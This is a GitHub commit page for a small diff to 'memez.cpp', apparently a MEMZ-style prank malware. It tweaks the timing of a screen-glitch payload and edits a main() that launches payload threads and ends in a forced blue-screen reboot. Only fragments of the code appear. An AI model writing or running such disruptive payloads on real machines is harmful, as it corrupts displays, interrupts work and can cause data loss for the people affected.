Skip to content

Commit

Permalink
Fixed glitch scaling
Browse files Browse the repository at this point in the history
  • Loading branch information
arwn committed May 24, 2019
1 parent 2088882 commit c9c02fc
Showing 1 changed file with 1 addition and 5 deletions.
6 changes: 1 addition & 5 deletions memez/memez.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -168,7 +168,7 @@ void PayloadScreenGlitch(void)

BitBlt(hdc, 0, locy, x, 1, hdc, 0 , dy(mt), SRCCOPY);

std::this_thread::sleep_for(std::chrono::seconds(15 - runtime));
std::this_thread::sleep_for(std::chrono::milliseconds((15 - runtime) * 50));
}
}

Expand Down Expand Up @@ -270,15 +270,11 @@ void PromptToLogOut(void) {

int main(void)
{
runtime = 10;
PayloadCursor();
#if 0
std::thread(PromptToLogOut).detach(); // go ahead and start fuckery, message box is just an easy way to log out early.
std::thread(LaunchPayloads).detach(); // said fuckery
for (runtime = 0; runtime <= MAX_RUNTIME; runtime++) {
std::cout << "time is " << runtime << std::endl;
std::this_thread::sleep_for(std::chrono::minutes(1));
}
reboot(REBOOT_BLUESCREEN);
#endif
}

0 comments on commit c9c02fc

Please sign in to comment.